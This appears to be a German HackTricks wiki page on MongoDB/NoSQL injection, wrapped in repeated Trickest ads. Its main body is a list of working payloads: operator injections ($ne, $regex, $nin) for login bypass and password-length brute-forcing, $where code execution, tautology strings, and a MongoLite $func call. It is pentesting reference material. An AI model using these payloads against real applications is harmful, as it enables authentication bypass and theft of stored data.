Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten:
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud Github-Repositorys senden.
Exploit
In PHP können Sie ein Array senden, indem Sie den gesendeten Parameter von parameter=foo in parameter[arrName]=foo ändern.
Die Exploits basieren darauf, einen Operator hinzuzufügen:
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie admin' || 'a'=='a eingibt, um die Abfrage so zu manipulieren, dass alle Dokumente zurückgegeben werden, indem die Bedingung mit einer Tautologie ('a'=='a') erfüllt wird. Dies ist analog zu SQL-Injektionsangriffen, bei denen Eingaben wie ' or 1=1-- - verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen durch Eingaben wie ' || 1==1//, ' || 1==1%00 oder admin' || 'a'=='a durchgeführt werden.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extrahiere Längeninformationen
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Unter Verwendung des $func-Operators der MongoLite-Bibliothek (standardmäßig verwendet) ist es möglicherweise möglich, eine beliebige Funktion auszuführen, wie in diesem Bericht beschrieben.
"user":{"$func":"var_dump"}
Informationen aus verschiedenen Sammlungen abrufen
Es ist möglich, $lookup zu verwenden, um Informationen aus einer anderen Sammlung abzurufen. Im folgenden Beispiel lesen wir aus einer anderen Sammlung namens users und erhalten die Ergebnisse aller Einträge, bei denen ein Passwort mit einem Platzhalter übereinstimmt.
HINWEIS:$lookup und andere Aggregatfunktionen sind nur verfügbar, wenn die aggregate()-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufigeren find()- oder findOne()-Funktionen.
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten:
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositories senden.
Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten: